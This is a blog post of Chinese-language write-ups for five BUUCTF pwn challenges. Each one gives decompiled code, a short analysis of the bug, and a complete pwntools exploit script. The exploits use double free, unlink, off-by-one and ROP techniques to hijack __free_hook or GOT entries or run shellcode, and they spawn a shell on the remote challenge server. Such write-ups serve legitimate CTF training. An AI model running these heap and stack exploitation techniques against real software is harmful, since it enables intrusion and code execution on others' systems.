BUUCTF pwn wp 71 - 75

ps: 到这里其实已经做了70道题了, 中间有JOJ的题重复了所以没写wp, 这里从71开始计数

ciscn_2019_final_3

在这里插入图片描述

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdi
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_C5A(a1, a2, a3);
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome to babyheap");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  while ( 1 )
  {
    sub_F0E();
    std::operator<<<std::char_traits<char>>(&std::cout, "choice > ");
    std::istream::operator>>(&std::cin, &v4);
    if ( v4 == 1 )
    {
      add();
    }
    else if ( v4 == 2 )
    {
      remove();
    }
  }
}

add函数, 读入size大小的字符串到*((_QWORD *)&unk_2022A0 + HIDWORD(size), 且不能大于0x78

unsigned __int64 add()
{
  __int64 v0; // rax
  __int64 v1; // rax
  unsigned int v2; // ebx
  __int64 v3; // rax
  size_t size; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, (char *)&size + 4);
  if ( *((_QWORD *)&unk_2022A0 + HIDWORD(size)) || HIDWORD(size) > 0x18 )
    exit(0);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &size);
  if ( (unsigned int)size <= 0x78 )
  {
    v2 = HIDWORD(size);
    *((_QWORD *)&unk_2022A0 + v2) = malloc((unsigned int)size);
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    sub_CBB(*((_QWORD *)&unk_2022A0 + HIDWORD(size)), (unsigned int)size);
    puts("OK!");
    printf("gift :%p\n", *((const void **)&unk_2022A0 + HIDWORD(size)));
  }
  return __readfsqword(0x28u) ^ v6;
}

remove函数, 没有清空指针, 所以白给double free

unsigned __int64 remove()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v2);
  if ( v2 > 0x18 )
    exit(0);
  free(*((void **)&unk_2022A0 + v2));
  return __readfsqword(0x28u) ^ v3;
}

libc是Ubuntu GLIBC 2.27-3ubuntu1有tcache机制
(1) 利用double free修改一个chunk的size为0x400, free之后进到unsorted bin
(2) 申请回chunk0, 构造tcache chunk1和 unsorted bin remaining 重叠
(3) 泄露main_arena + 96, 进而泄露libc
(4) 再次double free, 劫持free_hook到system, 释放"/bin/sh\x00", get shell

调试过程
构造double free劫持chunk0
在这里插入图片描述

修改size
在这里插入图片描述
tcache 和 unsorted bin chunk重叠
在这里插入图片描述
申请出一个tcache拿到main_arena + 96
在这里插入图片描述
main_arena == 0x3ebc40
main_arena + 96 == 0x3ebca0

exp

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 28318
filename = "./ciscn_final_3"
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def Add(index, size, content):
    io.sendlineafter("choice > ", "1")
    io.sendlineafter("input the index\n", str(index))
    io.sendlineafter("input the size\n", str(size))
    io.sendlineafter("now you can write something\n", content)
    io.recvuntil("gift :")
    return int(io.recvline(keepends=False)[2:], 16)

def Delete(index):
    io.sendlineafter("choice > ", "2")
    io.sendlineafter("input the index\n", str(index))


def pwn():
    chunk0 = Add(0, 0x78, '0')
    log.info("chunk0 address: %#x", chunk0)
    Add(1, 0x18, '1') # get 0x20 size memory
    for i in range(2, 11): # get 0x400 size memory
        Add(i, 0x78, str(i))
    Add(11, 0x28, b"/bin/sh\x00")
    Add(12, 0x28, '12')
    Delete(12)
    Delete(12)
    Add(13, 0x28, p64(chunk0 - 0x10)) # double free change fd to chunk0 head address
    # B()
    Add(14, 0x28, '12')
    # B()
    Add(15, 0x28, p64(0) + p64(0x421)) # change chunk0 size to 0x420
    # B()
    Delete(0) # chunk0 to unsorted bin
    Delete(1) # chunk1 to tcache 
    Add(16, 0x78, '0') # get chunk0 from unsorted bin
    Add(17, 0x18, '1') # get chunk1 from tcache
    # B()
    libc_base = Add(18, 0x18, "z") - 0x3ebca0
    free_hook = libc_base + libc.sym["__free_hook"]
    system_addr = libc_base + libc.sym['system']
    Delete(10)
    Delete(10)
    # B()
    Add(19, 0x78, p64(free_hook))
    Add(20, 0x78, "z")
    Add(21, 0x78, p64(system_addr))
    Delete(11)


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
(1) 关于调试, 一连串B()就行, 打开的dbg窗口看完内存结构, 然后ctrl + D关闭窗口, 在主窗口any key to continue, 就到下一个B(), 这样可以快速debug脚本和调试漏洞
(2) 做这题时领悟的一个普适性经验, 做heap题, 写完交互函数, 直接调试就行, 不用脑内模拟太多heap结构, 应该基于调试思考利用手法而不是全部想清楚才写脚本, 应该调试过程中增量式写脚本

picoctf_2018_shellcode

int __cdecl vuln(int a1)
{
  gets(a1);
  return puts(a1);
}

在这里插入图片描述
参数和局部变量一样, 传入shellocde就能执行, 垃圾题

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 25301
filename = "./PicoCTF_2018_shellcode"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    payload = asm(shellcraft.sh())
    io.sendlineafter("Enter a string!\n", payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

jarvisoj_level5

参考
https://blog.csdn.net/qq_33976344/article/details/118303938

打mprotect, bss段ret2shellcode

from pwn import *
from pwnlib.util.cyclic import cyclic

context.log_level = "debug"
sel = 1
filename = "./level3_x64"
URL, PORT = "node4.buuoj.cn", 25977
io = process(filename) if sel == 0 else remote(URL, PORT)

elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
binsh_addr = elf.bss()
vul_addr = elf.sym["vulnerable_function"]
write_libc = libc.sym['write']
mprotect_libc = libc.sym['mprotect']
pop_rdi_addr = 0x00000000004006b3
pop_rsi_r15_addr = 0x00000000004006b1
shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
binsh_got = 0x0000000000600A48
mprotect_got = 0x0000000000600A50
gadget1 = 0x400690
gadget2 = 0x4006AA

payload1 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_r15_addr) + p64(write_got)
payload1 += p64(0) + p64(write_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload1)
write_addr = u64(io.recv(8))
print("write address: ", hex(write_addr))

payload2 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(binsh_addr)
payload2 += p64(0) + p64(read_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload2)
io.send(shellcode)

libc_base = write_addr - write_libc
mprotect_addr = libc_base + mprotect_libc

payload3 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(binsh_got) + p64(0)
payload3 += p64(read_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload3)
io.send(p64(binsh_addr))

payload4 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(mprotect_got) + p64(0)
payload4 += p64(read_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload4)
io.send(p64(mprotect_addr))

payload5 = cyclic(0x80 + 8) + p64(gadget2) + p64(0) + p64(1) + p64(mprotect_got) 
payload5 += p64(7) + p64(0x1000) + p64(0x600000) + p64(gadget1) + p64(0)
payload5 += p64(0) + p64(1) + p64(binsh_got) + cyclic(8 * 3) + p64(gadget1)

io.sendlineafter("Input:\n", payload5)
sleep(1)
io.interactive()

npuctf_2020_easyheap

在这里插入图片描述
菜单heap, create函数, 只允许创建0x10和0x20的chunk(另外这里的提示具有迷惑性, 其实逆向可知只允许创建0x18和0x38大小的chunk, 而不是0x10和0x20), 结构体是size, 和指向content的指针

unsigned __int64 create()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*((_QWORD *)&heaparray + i) )
    {
      *((_QWORD *)&heaparray + i) = malloc(0x10uLL);
      if ( !*((_QWORD *)&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap(0x10 or 0x20 only) : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      if ( size != 24 && size != 56 )
        exit(-1);
      v0 = *((_QWORD *)&heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size);
      if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
      {
        puts("Allocate Error");
        exit(2);
      }
      **((_QWORD **)&heaparray + i) = size;
      printf("Content:");
      read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
      puts("Done!");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

看edit函数和read_input函数

unsigned __int64 edit()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_QWORD *)&heaparray + v1) )
  {
    printf("Content: ");
    read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
    puts("Done!");
  }
  else
  {
    puts("How Dare you!");
  }
  return __readfsqword(0x28u) ^ v3;
}
ssize_t __fastcall read_input(void *a1, size_t a2)
{
  ssize_t result; // rax

  result = read(0, a1, a2);
  if ( (int)result <= 0 )
  {
    puts("Error");
    _exit(-1);
  }
  return result;
}

hitcontraining_heapcreator基本相同, off-by-one修改size构造chunk overlap, 改一下脚本, 因为申请的是0x18和0x38, 所以注意delete再create回来的chunk其实是1, 跟之前那题稍有不同, 调试一下也可以知道.
exp

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 25328
filename = "./npuctf_2020_easyheap"
elf = ELF(filename)
libc = ELF("./libc_x64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def Add(size, content):  
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Size of Heap(0x10 or 0x20 only) : ", str(size))
    io.sendlineafter("Content:", content)

def Edit(index, content):
    io.sendlineafter("Your choice :", "2")
    io.sendlineafter("Index :", str(index))
    io.sendlineafter("Content: ", content)

def Show(index):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Index :", str(index))
    io.recvuntil("Content : ")
    addr = u64(io.recv(6).ljust(8, b'\x00'))
    return addr

def Delete(index):
    io.sendlineafter("Your choice :", "4")
    io.sendlineafter("Index :", str(index))

def pwn():
    free_got = elf.got["free"]

    Add(0x18, "0")
    Add(0x18, "1")
    Add(0x18, "2")
    Add(0x18, b"/bin/sh\x00")
    # B()
    Edit(0, cyclic(0x18) + b"\x41")
    # B()
    Delete(1)
    payload = cyclic(0x20) + p64(8) + p64(free_got) 
    # B()
    Add(0x38, payload)
    # B()
    free_addr = Show(1)
    log.info("Free address:%#x" % free_addr)
    # libc_base = free_addr - libc.sym["free"]
    # system_addr = libc_base + libc.sym["system"]
    libc = LibcSearcher("free", free_addr)
    libc_base = free_addr - libc.dump("free")
    system_addr = libc_base + libc.dump("system")
    Edit(1, p64(system_addr))
    Delete(3)

if __name__ == "__main__":
    pwn()
    io.interactive()

hitcontraining_bamboobox

在这里插入图片描述
add函数, 结构体是index和指向name的指针

__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;    // index
        *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);// heaparray
        printf("Please enter the name of item:");
        *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;// read name
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

change函数, 有堆溢出漏洞

unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

但是这个题劫持不了结构体中的name指针, 所以不能直接打got表
利用方法: house of force / unlink / fastbin attack
house of force方法是要打后门, 不过BUU一般flag不在后门的路径下, 所以这个方法远程不能通
fastbin attack, 堆块重叠, 泄露libc那套
这里用unlink来打, 伪造chunk, 用unlink转移fake chunk, 劫持chunk0指针到free@got, 然后get shell
不过这里打free没有调通, 换了个atoi打, 可以打通, emmm没解决…

exp

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 29511
filename = "./bamboobox"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def Show():
    io.sendlineafter("Your choice:", "1")

def Add(size, content):
    io.sendlineafter("Your choice:", "2")
    io.sendlineafter("Please enter the length of item name:", str(size))
    io.sendafter("Please enter the name of item:", content)

def Change(index, size, content):
    io.sendlineafter("Your choice:", "3")
    io.sendlineafter("Please enter the index of item:", str(index))
    io.sendlineafter("Please enter the length of item name:", str(size))
    io.sendafter("Please enter the new name of the item:", content)

def Remove(index):
    io.sendlineafter("Your choice:", "4")
    io.sendlineafter("Please enter the index of item:", str(index))

def pwn():
    atoi_got = elf.got["atoi"]

    Add(0x40, "1")
    Add(0x80, "2")
    Add(0x80, "3")
    Add(0x10, b"/bin/sh\x00")
    # B()

    ptr = 0x00000000006020C8 # heaparray[0]
    fd, bk = ptr - 0x18, ptr - 0x10
    fake_chunk = p64(0) + p64(0x40)
    fake_chunk += p64(fd) + p64(bk) + cyclic(0x20)
    fake_chunk += p64(0x40) + p64(0x90)

    Change(0, len(fake_chunk), fake_chunk)
    # B()
    Remove(1)
    payload = p64(0) * 2 + p64(0x41) + p64(atoi_got)
    # B()
    Change(0, len(payload), payload)
    # B()
    Show()
    atoi_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
    log.info("atoi address: %#x", atoi_addr)
    # B()
    libc_base = atoi_addr - libc.sym["atoi"]
    system_addr = libc_base + libc.sym["system"]
    # B()
    Change(0, 0x8, p64(system_addr))
    # B()
    io.sendafter("Your choice:", b"/bin/sh\x00")


if __name__ == "__main__":
    pwn()
    io.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值